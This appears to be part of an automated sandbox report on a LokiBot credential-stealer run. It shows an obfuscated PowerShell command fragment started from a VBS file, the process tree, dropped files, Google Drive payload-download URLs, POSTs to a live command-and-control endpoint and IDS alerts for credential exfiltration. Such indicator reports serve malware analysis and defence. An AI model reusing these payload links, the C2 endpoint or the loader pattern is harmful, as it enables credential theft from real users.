dgGaelilAflytoCheezbRetsmaTrolilKredi:MaalrKKillilroastoth,argObtuntTil,s=Skraa$OverpSHelvekNuance,uffewVengieNomosdOvers.NedslsCif.euKrakibevig s Inc.tV rlirForskiDeletnNedklgCha.q(Carla$Tele kSubnuaChampmCourtiDiktalNedl lMaskeom rra,zardm$ CentH ForvoSquawyNe,tesMbler)Sp cu ');Unslyness $Klogt;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6436 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6916 | "C:\WINDOWS\System32\WScript.exe" C:\Users\admin\Desktop\Gymnasielrere84.vbs | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 7036 | "C:\Program Files (x86)\windows mail\wabmig.exe" | C:\Program Files (x86)\Windows Mail\wabmig.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) Contacts Import Tool Version: 10.0.19041.3636 (WinBuild.160101.0800) | |||||||||||||||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6340 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wp4xrrfo.yyk.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 1148 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:8E7D26D71A1CAF822C338431F0651251 | SHA256:495E7C4588626236C39124CCE568968E874BEDA950319BA391665B43DE111084 | |||
| 7036 | wabmig.exe | C:\Users\admin\AppData\Roaming\F3F363\3C28B3.hdb | binary | |
MD5:1013079A9BF8FFA458C230EA6AAF8A89 | SHA256:1B1F3BCE8DF0FC7E33B518DAB09D09AF3680E39BCC3C760DADCC50C931007BE8 | |||
| 7036 | wabmig.exe | C:\Users\admin\AppData\Roaming\F3F363\3C28B3.lck | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 1148 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ap1cetff.mwm.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 1148 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5oqzhbzh.v3h.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6340 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_i3ef5vur.32h.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7036 | wabmig.exe | C:\Users\admin\AppData\Roaming\F3F363\3C28B3.exe | executable | |
MD5:AD6081F6434A2E186E49F64C069CD8BF | SHA256:7E3B061A41AB3BF3F6F6A701148E50769E1208ABAB70235B85E1CF0E929729E1 | |||
| 7036 | wabmig.exe | C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1693682860-607145093-2874071422-1001\0f5007522459c86e95ffcc62f32308f1_bb926e54-e3ca-40fd-ae90-2764341e7792 | binary | |
MD5:D898504A722BFF1524134C6AB6A5EAA5 | SHA256:878F32F76B159494F5A39F9321616C6068CDB82E88DF89BCC739BBC1EA78E1F9 | |||
| 6340 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:47004ADDD8953568AAE3C8C9335114B0 | SHA256:050EE8B11CC688C5478A46A2CCC3ABE9023BC80E617EBCEDBCADCBB21DCA95A3 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2864 | RUXIMICS.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 303 | 142.250.185.196:443 | https://drive.google.com/uc?export=download&id=1lI7SoYb_aBEmRmJJI-u31JgwtXJMn_Qm | unknown | — | — | — |
2120 | MoUsoCoreWorker.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 303 | 142.250.185.196:443 | https://drive.google.com/uc?export=download&id=1EnM8GOCjgl_bDxtuyCHqVfNNgLyGaAWF | unknown | — | — | — |
— | — | POST | 500 | 137.184.191.215:80 | http://137.184.191.215/index.php/wp.php?view=1 | unknown | — | — | unknown |
— | — | POST | 500 | 137.184.191.215:80 | http://137.184.191.215/index.php/wp.php?view=1 | unknown | — | — | unknown |
— | — | POST | 500 | 137.184.191.215:80 | http://137.184.191.215/index.php/wp.php?view=1 | unknown | — | — | unknown |
— | — | POST | 500 | 137.184.191.215:80 | http://137.184.191.215/index.php/wp.php?view=1 | unknown | — | — | unknown |
4076 | svchost.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 142.250.186.65:443 | https://drive.usercontent.google.com/download?id=1lI7SoYb_aBEmRmJJI-u31JgwtXJMn_Qm&export=download | unknown | text | 471 Kb | — |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3888 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4076 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2864 | RUXIMICS.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2120 | MoUsoCoreWorker.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4076 | svchost.exe | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
2864 | RUXIMICS.exe | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
2120 | MoUsoCoreWorker.exe | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
6340 | powershell.exe | 142.250.186.174:443 | drive.google.com | GOOGLE | US | shared |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
drive.google.com |
| shared |
drive.usercontent.google.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
— | — | A Network Trojan was detected | ET MALWARE LokiBot User-Agent (Charon/Inferno) |
— | — | A Network Trojan was detected | ET MALWARE LokiBot User-Agent (Charon/Inferno) |
— | — | Malware Command and Control Activity Detected | ET MALWARE LokiBot Checkin |
— | — | Malware Command and Control Activity Detected | ET MALWARE LokiBot Checkin |
— | — | A Network Trojan was detected | ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 |
— | — | A Network Trojan was detected | ET MALWARE LokiBot User-Agent (Charon/Inferno) |
— | — | Malware Command and Control Activity Detected | ET MALWARE LokiBot Checkin |
— | — | A Network Trojan was detected | ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 |
— | — | Malware Command and Control Activity Detected | ET MALWARE LokiBot Request for C2 Commands Detected M2 |
— | — | Malware Command and Control Activity Detected | ET MALWARE LokiBot Request for C2 Commands Detected M1 |